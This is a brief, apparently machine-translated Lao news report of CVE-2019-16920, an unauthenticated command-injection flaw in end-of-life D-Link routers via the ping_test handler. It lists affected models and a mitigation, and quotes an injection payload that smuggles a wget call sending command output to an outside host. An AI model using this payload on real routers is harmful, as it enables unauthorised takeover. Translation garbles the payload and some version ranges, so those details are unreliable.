ຊ່ອງໂຫວ່ທີ່ສາມາດຂູດຮີດຈາກໄລຍະໄກຢູ່ໃນເຣົາເຕີ D-Link

ໃນ routers ໄຮ້ສາຍ D-Link ກໍານົດ ຄວາມ​ສ່ຽງ​ອັນ​ຕະ​ລາຍ (CVE-2019–16920), ເຊິ່ງອະນຸຍາດໃຫ້ທ່ານສາມາດປະຕິບັດລະຫັດທາງໄກຢູ່ດ້ານອຸປະກອນໂດຍການສົ່ງຄໍາຮ້ອງຂໍພິເສດໄປຫາຕົວຈັດການ "ping_test", ສາມາດເຂົ້າເຖິງໄດ້ໂດຍບໍ່ມີການພິສູດຢືນຢັນ.

ຫນ້າສົນໃຈ, ອີງຕາມຜູ້ພັດທະນາເຟີມແວ, ການໂທ "ping_test" ຄວນໄດ້ຮັບການປະຕິບັດພຽງແຕ່ຫຼັງຈາກການກວດສອບຄວາມຖືກຕ້ອງ, ແຕ່ໃນຄວາມເປັນຈິງແລ້ວມັນຖືກເອີ້ນໃນກໍລະນີໃດກໍ່ຕາມ, ບໍ່ວ່າຈະເຂົ້າໄປໃນອິນເຕີເຟດເວັບ. ໂດຍສະເພາະ, ເມື່ອເຂົ້າເຖິງສະຄິບ apply_sec.cgi ແລະຜ່ານພາລາມິເຕີ "action=ping_test", script redirects ໄປຫາຫນ້າການກວດສອບ, ແຕ່ໃນເວລາດຽວກັນປະຕິບັດການປະຕິບັດທີ່ກ່ຽວຂ້ອງກັບ ping_test. ເພື່ອປະຕິບັດລະຫັດ, ຊ່ອງໂຫວ່ອື່ນຖືກນໍາໃຊ້ໃນ ping_test ຕົວຂອງມັນເອງ, ເຊິ່ງເອີ້ນຜົນປະໂຫຍດຂອງ ping ໂດຍບໍ່ມີການກວດສອບຄວາມຖືກຕ້ອງຂອງທີ່ຢູ່ IP ທີ່ສົ່ງສໍາລັບການທົດສອບຢ່າງຖືກຕ້ອງ. ຕົວຢ່າງ, ເພື່ອໂທຫາ wget utility ແລະໂອນຜົນໄດ້ຮັບຂອງຄໍາສັ່ງ "echo 1234" ໄປຫາເຈົ້າພາບພາຍນອກ, ພຽງແຕ່ລະບຸພາລາມິເຕີ "ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20http:// test.test/?$(ແອັກໂກ້ 1234)".

ການປະກົດຕົວຂອງຊ່ອງໂຫວ່ໄດ້ຖືກຢືນຢັນຢ່າງເປັນທາງການໃນຮູບແບບຕໍ່ໄປນີ້:

• DIR-655 ກັບເຟີມແວ 3.02b05 ຫຼືເກົ່າກວ່າ;
• DIR-866L ທີ່ມີເຟີມແວ 1.03b04 ຫຼືສູງກວ່າ;
• DIR-1565 ກັບເຟີມແວ 1.01 ຫຼືສູງກວ່າ;
• DIR-652 (ບໍ່ມີຂໍ້ມູນກ່ຽວກັບສະບັບເຟີມແວທີ່ມີບັນຫາແມ່ນສະຫນອງໃຫ້)

ໄລຍະເວລາສະຫນັບສະຫນູນສໍາລັບຮູບແບບເຫຼົ່ານີ້ຫມົດອາຍຸແລ້ວ, ດັ່ງນັ້ນ D-Link ໄດ້ກ່າວວ່າ, ເຊິ່ງຈະບໍ່ປ່ອຍການປັບປຸງສໍາລັບພວກເຂົາເພື່ອລົບລ້າງຄວາມອ່ອນແອ, ບໍ່ແນະນໍາໃຫ້ໃຊ້ພວກມັນແລະແນະນໍາໃຫ້ປ່ຽນພວກມັນດ້ວຍອຸປະກອນໃຫມ່. ໃນຖານະເປັນການແກ້ໄຂຄວາມປອດໄພ, ທ່ານສາມາດຈໍາກັດການເຂົ້າເຖິງສ່ວນຕິດຕໍ່ເວັບກັບທີ່ຢູ່ IP ທີ່ເຊື່ອຖືໄດ້ເທົ່ານັ້ນ.

ມັນໄດ້ຖືກຄົ້ນພົບຕໍ່ມາວ່າຈຸດອ່ອນແມ່ນເຊັ່ນກັນ ມີຜົນກະທົບ ແບບຈໍາລອງ DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835 ແລະ DIR-825, ວາງແຜນທີ່ຈະປ່ອຍການອັບເດດທີ່ຍັງບໍ່ທັນຮູ້ເທື່ອ.

ແຫຼ່ງຂໍ້ມູນ: opennet.ru